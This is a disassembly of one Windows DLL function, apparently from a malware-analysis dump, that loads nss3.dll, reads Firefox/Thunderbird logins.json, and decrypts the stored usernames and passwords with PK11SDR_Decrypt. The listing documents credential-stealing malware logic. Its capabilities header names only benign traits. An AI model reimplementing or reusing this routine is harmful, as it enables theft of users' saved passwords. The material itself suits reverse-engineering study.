Function at 0x180098050
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4b0]
sub rsp, 0x5b0
xor r13d, r13d
lea rcx, [rbp + 0x450]
mov r12d, 0xf
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r12
mov r14, r9
mov byte [rsp + 0x30], r13b
mov rsi, r8
mov r15, rdx
call fcn.1800bea10
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1800980bb
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov rdi, rax
cmp rdx, 0x10
jb 0x18009810b
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x180098106
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180099cf0
mov rcx, r8
call fcn.1800cb8d0
xor ecx, ecx
movaps xmmword [rsp + 0x5a0], xmm6
movaps xmmword [rsp + 0x590], xmm7
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x18], r12
mov byte [rbx], cl
test rdi, rdi
jne 0x180098227
mov rbx, qword [rbp + 0x4f0]
lea rdx, [0x1801090b0]
xor r8d, r8d
mov byte [rbx], cl
mov rcx, rbx
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], r12
call fcn.1800bef90
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x18009818d
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x180098188
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180099cea
mov rcx, r8
call fcn.1800cb8d0
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], r12
mov byte [r15], dil
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x1800981d2
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x1800981cd
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180099cea
mov rcx, r8
call fcn.1800cb8d0
mov qword [rsi + 0x10], rdi
mov byte [rsi], dil
mov qword [rsi + 0x18], r12
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x180098217
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x180098212
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180099cea
mov rcx, r8
call fcn.1800cb8d0
mov qword [r14 + 0x10], rdi
mov byte [r14], dil
mov qword [r14 + 0x18], r12
jmp 0x180099cb6
lea rdx, str.NSS_Init
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rdi
mov qword [0x1801299f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rdi
mov qword [0x180129a98], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rdi
mov qword [0x1801299e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rdi
mov qword [0x180129a58], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rdi
mov qword [0x180129a68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rdi
mov qword [0x180129a30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp - 0x18]
xor edi, edi
mov qword [0x180129a18], rax
add rdx, 0xc
mov qword [rbp - 8], rdi
mov qword [rbp], r12
mov byte [rbp - 0x18], dil
call fcn.1800c17c0
cmp qword [rsi + 0x18], 0x10
mov rdx, rsi
jb 0x1800982f4
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [rbp - 0x18]
call fcn.1800be770
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rbp - 0x18]
call fcn.1800be770
cmp qword [rbp], 0x10
lea rcx, [rbp - 0x18]
lea rdx, [0x180113c10]
cmovae rcx, qword [rbp - 0x18]
call fcn.1800d77e8
test rax, rax
je 0x180098342
mov rcx, rax
call fcn.1800d7878
mov bl, 1
jmp 0x180098344
xor bl, bl
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x18009837f
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009837a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099cf6
call fcn.1800cb8d0
mov qword [rbp - 8], rdi
mov qword [rbp], r12
mov byte [rbp - 0x18], dil
test bl, bl
je 0x180099c48
cmp qword [rsi + 0x18], 0x10
mov rcx, rsi
jb 0x1800983a0
mov rcx, qword [rsi]
call qword [0x1801299f8]
mov rdx, rsi
lea rcx, [rbp + 0x470]
call fcn.1800bea10
mov rcx, rax
call fcn.180091e30
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], r12
mov byte [rsp + 0x50], dil
inc r8
cmp byte [rax + r8], dil
jne 0x1800983d3
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1800bef90
cmp qword [rsp + 0x60], rdi
jbe 0x180099c09
xor r15d, r15d
mov cl, 1
mov qword [rbp + 0x70], r15
call fcn.1800ccf84
xor edx, edx
mov qword [rbp + 0x90], rax
lea rcx, [rbp - 0x2c]
call fcn.1800cc9e0
mov rdi, qword [0x18012a118]
mov rsi, qword [0x18012a0f8]
mov qword [rbp + 8], rsi
test rdi, rdi
jne 0x180098466
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.1800cc9e0
cmp qword [0x18012a118], r13
jne 0x180098456
mov eax, dword [0x1801283a0]
inc eax
mov dword [0x1801283a0], eax
cdqe
mov qword [0x18012a118], rax
lea rcx, [rbp - 0x30]
call fcn.1800cca58
mov rdi, qword [0x18012a118]
mov rcx, qword [rbp + 0x90]
cmp rdi, qword [rcx + 0x18]
jae 0x180098482
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x1800984e3
jmp 0x180098485
mov rbx, r15
cmp byte [rcx + 0x24], r13b
je 0x18009849e
call fcn.1800ccf7c
cmp rdi, qword [rax + 0x18]
jae 0x1800984a3
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x1800984e3
test rsi, rsi
je 0x1800984ad
mov rbx, rsi
jmp 0x1800984e3
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 8]
call fcn.1800c0420
cmp rax, 0xffffffffffffffff
je 0x180099cfc
mov rbx, qword [rbp + 8]
mov rcx, rbx
call fcn.1800ccf44
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x18012a0f8], rbx
lea rcx, [rbp - 0x2c]
call fcn.1800cca58
lea rcx, [rbp + 0x88]
mov qword [rbp + 0x78], rbx
call fcn.1800bf1a0
lea r8, [0x180113d4c]
mov qword [rbp + 0x80], rax
lea rdx, str._hostname_:_______
lea rcx, [rbp + 0x70]
call fcn.1800bf970
mov cl, 1
mov qword [rbp + 0x48], r15
call fcn.1800ccf84
xor edx, edx
mov qword [rbp + 0x68], rax
lea rcx, [rbp - 0x24]
call fcn.1800cc9e0
mov rdi, qword [0x18012a118]
mov rsi, qword [0x18012a0f8]
mov qword [rbp + 0x10], rsi
test rdi, rdi
jne 0x180098586
xor edx, edx
lea rcx, [rbp - 0x28]
call fcn.1800cc9e0
cmp qword [0x18012a118], r13
jne 0x180098576
mov eax, dword [0x1801283a0]
inc eax
mov dword [0x1801283a0], eax
cdqe
mov qword [0x18012a118], rax
lea rcx, [rbp - 0x28]
call fcn.1800cca58
mov rdi, qword [0x18012a118]
mov rcx, qword [rbp + 0x68]
cmp rdi, qword [rcx + 0x18]
jae 0x18009859f
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x1800985fd
jmp 0x1800985a2
mov rbx, r15
cmp byte [rcx + 0x24], r13b
je 0x1800985bb
call fcn.1800ccf7c
cmp rdi, qword [rax + 0x18]
jae 0x1800985c0
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x1800985fd
test rsi, rsi
je 0x1800985ca
mov rbx, rsi
jmp 0x1800985fd
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x10]
call fcn.1800c0420
cmp rax, 0xffffffffffffffff
je 0x180099d02
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.1800ccf44
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x18012a0f8], rbx
lea rcx, [rbp - 0x24]
call fcn.1800cca58
lea rcx, [rbp + 0x60]
mov qword [rbp + 0x50], rbx
call fcn.1800bf1a0
lea r8, [0x180113d6d]
mov qword [rbp + 0x58], rax
lea rdx, str._encryptedUsername_:_______
lea rcx, [rbp + 0x48]
call fcn.1800bf970
mov cl, 1
mov qword [rbp + 0x20], r15
call fcn.1800ccf84
xor edx, edx
mov qword [rbp + 0x40], rax
lea rcx, [rbp - 0x1c]
call fcn.1800cc9e0
mov rdi, qword [0x18012a118]
mov rsi, qword [0x18012a0f8]
mov qword [rbp + 0x18], rsi
test rdi, rdi
jne 0x18009869a
xor edx, edx
lea rcx, [rbp - 0x20]
call fcn.1800cc9e0
cmp qword [0x18012a118], r13
jne 0x18009868a
mov eax, dword [0x1801283a0]
inc eax
mov dword [0x1801283a0], eax
cdqe
mov qword [0x18012a118], rax
lea rcx, [rbp - 0x20]
call fcn.1800cca58
mov rdi, qword [0x18012a118]
mov rcx, qword [rbp + 0x40]
cmp rdi, qword [rcx + 0x18]
jae 0x1800986b3
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x180098711
jmp 0x1800986b6
mov rbx, r15
cmp byte [rcx + 0x24], r13b
je 0x1800986cf
call fcn.1800ccf7c
cmp rdi, qword [rax + 0x18]
jae 0x1800986d4
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x180098711
test rsi, rsi
je 0x1800986de
mov rbx, rsi
jmp 0x180098711
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x18]
call fcn.1800c0420
cmp rax, 0xffffffffffffffff
je 0x180099d08
mov rbx, qword [rbp + 0x18]
mov rcx, rbx
call fcn.1800ccf44
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x18012a0f8], rbx
lea rcx, [rbp - 0x1c]
call fcn.1800cca58
lea rcx, [rbp + 0x38]
mov qword [rbp + 0x28], rbx
call fcn.1800bf1a0
lea r8, [0x180113d8d]
mov qword [rbp + 0x30], rax
lea rdx, str._encryptedPassword_:_______
lea rcx, [rbp + 0x20]
call fcn.1800bf970
mov rdx, qword [rsp + 0x68]
lea rbx, [rsp + 0x50]
mov rax, qword [rsp + 0x50]
cmp rdx, 0x10
xorps xmm0, xmm0
mov qword [rbp + 0xa0], r15
cmovae rbx, rax
mov qword [rbp + 0xd0], r15
xor ecx, ecx
mov qword [rbp + 0xf8], r15
xorps xmm1, xmm1
mov qword [rbp + 0x100], r15
mov qword [rbp - 0x80], r15
mov rsi, r12
mov qword [rbp - 0x60], rcx
mov r15, r12
mov byte [rbp - 0x70], cl
mov rdi, r12
mov qword [rbp - 0x40], rcx
mov byte [rbp - 0x50], cl
mov byte [rbp + 0xa8], r13b
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmmword [rbp + 0xc0], xmm1
mov byte [rbp + 0xd8], r13b
movdqa xmmword [rbp + 0xe0], xmm0
mov byte [rbp + 0xf0], r13b
mov byte [rbp + 0x108], r13b
mov qword [rbp - 0x78], r12
mov byte [rsp + 0x70], r13b
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x38], r12
nop dword [rax]
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x50]
cmovae rcx, rax
lea r9, [rbp + 0x70]
add rdx, rcx
lea r8, [rbp + 0xa0]
mov rcx, rbx
call fcn.1800c4680
test al, al
je 0x1800999a6
mov rcx, qword [rbp + 0xb8]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0xb0]
mov rax, rsi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0xf8]
cmp rdx, 1
jbe 0x180098855
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x180098867
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x330], xmm0
jmp 0x180098872
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x330], xmm0
mov rdx, qword [rbp + 0x330]
xor r15d, r15d
mov r8, qword [rbp + 0x338]
mov eax, 0xf
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x190], r15b
cmp rdx, r8
je 0x1800988b8
sub r8, rdx
lea rcx, [rbp + 0x190]
call fcn.1800bef90
mov rax, qword [rbp + 0x1a8]
cmp rax, 0x10
lea rcx, [rbp + 0x190]
cmovae rcx, qword [rbp + 0x190]
call fcn.180092760
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x1800988e0
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1800bef90
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0x10
jb 0x180098937
mov rcx, qword [rbp + 0x190]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098932
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d0e
call fcn.1800cb8d0
cmp qword [rsp + 0x68], 0x10
lea rcx, [rsp + 0x50]
mov rdx, qword [rsp + 0x60]
lea r9, [rbp + 0x48]
cmovae rcx, qword [rsp + 0x50]
lea r8, [rbp + 0xa0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800c4680
mov rcx, qword [rbp + 0xb8]
mov rax, rsi
mov r8, qword [rbp + 0xb0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0xf8]
cmp rdx, 1
jbe 0x18009899e
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x1800989b0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x360], xmm0
jmp 0x1800989bb
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x360], xmm0
mov rdx, qword [rbp + 0x360]
mov r8, qword [rbp + 0x368]
mov qword [rbp + 0x3c0], r15
mov qword [rbp + 0x3c8], 0xf
mov byte [rbp + 0x3b0], r15b
cmp rdx, r8
je 0x1800989f6
sub r8, rdx
lea rcx, [rbp + 0x3b0]
call fcn.1800bef90
lea rcx, [rbp + 0x3b0]
call fcn.180097ec0
mov rcx, rax
call fcn.180092760
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x180098a10
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1800bef90
cmp qword [rsp + 0x68], 0x10
lea rcx, [rsp + 0x50]
mov rdx, qword [rsp + 0x60]
lea r9, [rbp + 0x20]
cmovae rcx, qword [rsp + 0x50]
lea r8, [rbp + 0xa0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800c4680
mov rcx, qword [rbp + 0xb8]
mov rax, rsi
mov r8, qword [rbp + 0xb0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0xf8]
cmp rdx, 1
jbe 0x180098a8c
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x180098a9e
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x370], xmm0
jmp 0x180098aa9
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x370], xmm0
mov rdx, qword [rbp + 0x370]
mov r8, qword [rbp + 0x378]
mov qword [rbp + 0x3e0], r15
mov qword [rbp + 0x3e8], 0xf
mov byte [rbp + 0x3d0], r15b
cmp rdx, r8
je 0x180098ae4
sub r8, rdx
lea rcx, [rbp + 0x3d0]
call fcn.1800bef90
lea rcx, [rbp + 0x3d0]
call fcn.180097ec0
mov rcx, rax
call fcn.180092760
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x180098b00
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.1800bef90
mov r8d, 8
mov qword [rbp + 0x1c0], r15
cmp qword [rbp - 0x80], r8
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x1b0]
mov qword [rbp + 0x1c8], 0xf
cmovb r8, qword [rbp - 0x80]
cmp qword [rbp - 0x78], 0x10
mov byte [rbp + 0x1b0], r15b
cmovae rdx, qword [rsp + 0x70]
call fcn.1800bef90
mov rdx, qword [rbp + 0x1c8]
lea rax, [rbp + 0x1b0]
mov rcx, qword [rbp + 0x1b0]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rbp + 0x1c0], 8
jne 0x180098b94
movabs r8, 0x2f2f3a687475616f
cmp qword [rax], r8
jne 0x180098b94
xor dil, dil
jmp 0x180098b97
mov dil, 1
cmp rdx, 0x10
jb 0x180098bca
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098bc5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d32
call fcn.1800cb8d0
test dil, dil
je 0x180099912
mov rax, qword [r14 + 0x18]
mov rcx, r14
cmp rax, 0x10
jb 0x180098be3
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x180099287
cmp byte [rcx], 0x30
jne 0x180099287
mov rdi, qword [rbp - 0x80]
mov rcx, rax
mov rsi, qword [rbp - 0x60]
test rdi, rdi
je 0x180099292
test rsi, rsi
je 0x180099292
cmp qword [rbp - 0x40], r15
je 0x180099292
lea rdx, [r13 + 1]
mov qword [rbp + 0x120], r15
lea rcx, [rbp + 0x110]
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], r15b
call fcn.1800c17c0
cmp r12, 0x10
lea rdx, [rsp + 0x30]
mov r8, r13
lea rcx, [rbp + 0x110]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c60]
lea rcx, [rbp + 0x110]
call fcn.1800be770
cmp qword [rbp - 0x78], 0x10
lea rdx, [rsp + 0x70]
mov r8, rdi
lea rcx, [rbp + 0x110]
cmovae rdx, qword [rsp + 0x70]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c5c]
lea rcx, [rbp + 0x1d0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x3f0], xmm6
movups xmmword [rbp + 0x400], xmm7
cmp rdx, 0x10
jb 0x180098d3b
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098d36
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d14
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x1e8]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x180098d86
mov rcx, qword [rbp + 0x1d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098d81
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d14
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x128]
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], r15b
cmp rdx, 0x10
jb 0x180098de0
mov rcx, qword [rbp + 0x110]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098ddb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d14
call fcn.1800cb8d0
mov rdi, qword [rbp + 0x400]
lea rcx, [rbp + 0x130]
mov qword [rbp + 0x140], r15
mov qword [rbp + 0x148], 0xf
mov byte [rbp + 0x130], r15b
lea rdx, [rdi + 1]
call fcn.1800c17c0
cmp qword [rbp + 0x408], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x130]
cmovae rdx, qword [rbp + 0x3f0]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c60]
lea rcx, [rbp + 0x130]
call fcn.1800be770
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, rsi
lea rcx, [rbp + 0x130]
cmovae rdx, qword [rbp - 0x70]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c5c]
lea rcx, [rbp + 0x1f0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x200], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x410], xmm6
movups xmmword [rbp + 0x420], xmm7
cmp rdx, 0x10
jb 0x180098f08
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098f03
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d1a
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x208]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x180098f53
mov rcx, qword [rbp + 0x1f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098f4e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d1a
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x148]
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], 0xf
mov byte [rbp + 0x1f0], r15b
cmp rdx, 0x10
jb 0x180098fad
mov rcx, qword [rbp + 0x130]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180098fa8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d1a
call fcn.1800cb8d0
mov rdi, qword [rbp + 0x420]
lea rcx, [rbp + 0x150]
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], r15b
lea rdx, [rdi + 1]
call fcn.1800c17c0
cmp qword [rbp + 0x428], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x150]
cmovae rdx, qword [rbp + 0x410]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c60]
lea rcx, [rbp + 0x150]
call fcn.1800be770
cmp qword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x50]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp + 0x150]
cmovae rdx, qword [rbp - 0x50]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c5c]
lea rcx, [rbp + 0x210]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x220], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x390], xmm6
movups xmmword [rbp + 0x3a0], xmm7
cmp rdx, 0x10
jb 0x1800990d6
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800990d1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d20
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x228]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x180099121
mov rcx, qword [rbp + 0x210]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009911c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d20
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x168]
mov qword [rbp + 0x220], r15
mov qword [rbp + 0x228], 0xf
mov byte [rbp + 0x210], r15b
cmp rdx, 0x10
jb 0x18009917b
mov rcx, qword [rbp + 0x150]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180099176
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d20
call fcn.1800cb8d0
mov rdi, qword [rbp + 0x3a0]
lea rcx, [rbp + 0x230]
mov qword [rbp + 0x240], r15
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], r15b
lea rdx, [rdi + 1]
call fcn.1800c17c0
cmp qword [rbp + 0x3a8], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x230]
cmovae rdx, qword [rbp + 0x390]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x18010a0cc]
lea rcx, [rbp + 0x230]
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180099225
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180099220
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d26
call fcn.1800cb8d0
movups xmm0, xmmword [rbp + 0x230]
xor r8d, r8d
lea rdx, [0x1801090b0]
movups xmm1, xmmword [rbp + 0x240]
lea rcx, [rsp + 0x70]
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
call fcn.1800bef90
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rbp - 0x70]
call fcn.1800bef90
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rbp - 0x50]
call fcn.1800bef90
mov rcx, qword [r14 + 0x18]
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
jmp 0x18009928a
mov rcx, rax
mov rsi, qword [rbp - 0x60]
mov rdi, qword [rbp - 0x80]
mov rax, r14
cmp rcx, 0x10
jb 0x18009929e
mov rax, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x180099902
cmp byte [rax], 0x31
jne 0x180099902
test rdi, rdi
je 0x180099902
test rsi, rsi
je 0x180099902
mov r15, qword [rbp - 0x40]
test r15, r15
je 0x180099902
xor ecx, ecx
mov qword [rbp + 0x188], 0xf
mov qword [rbp + 0x180], rcx
lea rdx, [r13 + 4]
mov byte [rbp + 0x170], cl
lea rcx, [rbp + 0x170]
call fcn.1800c17c0
cmp r12, 0x10
lea rdx, [rsp + 0x30]
mov r8, r13
lea rcx, [rbp + 0x170]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800be770
mov r8d, 4
lea rdx, str.mail
lea rcx, [rbp + 0x170]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c68]
lea rcx, [rbp + 0x170]
call fcn.1800be770
xor r12d, r12d
lea rdx, str.Thunderbird
lea rcx, [rbp + 0x340]
movups xmm0, xmmword [rax]
lea r8d, [r12 + 0xb]
movups xmmword [rbp + 0x340], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x350], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
lea r8d, [r12 + 1]
lea rdx, [0x180113c68]
lea rcx, [rbp + 0x310]
movups xmm0, xmmword [rax]
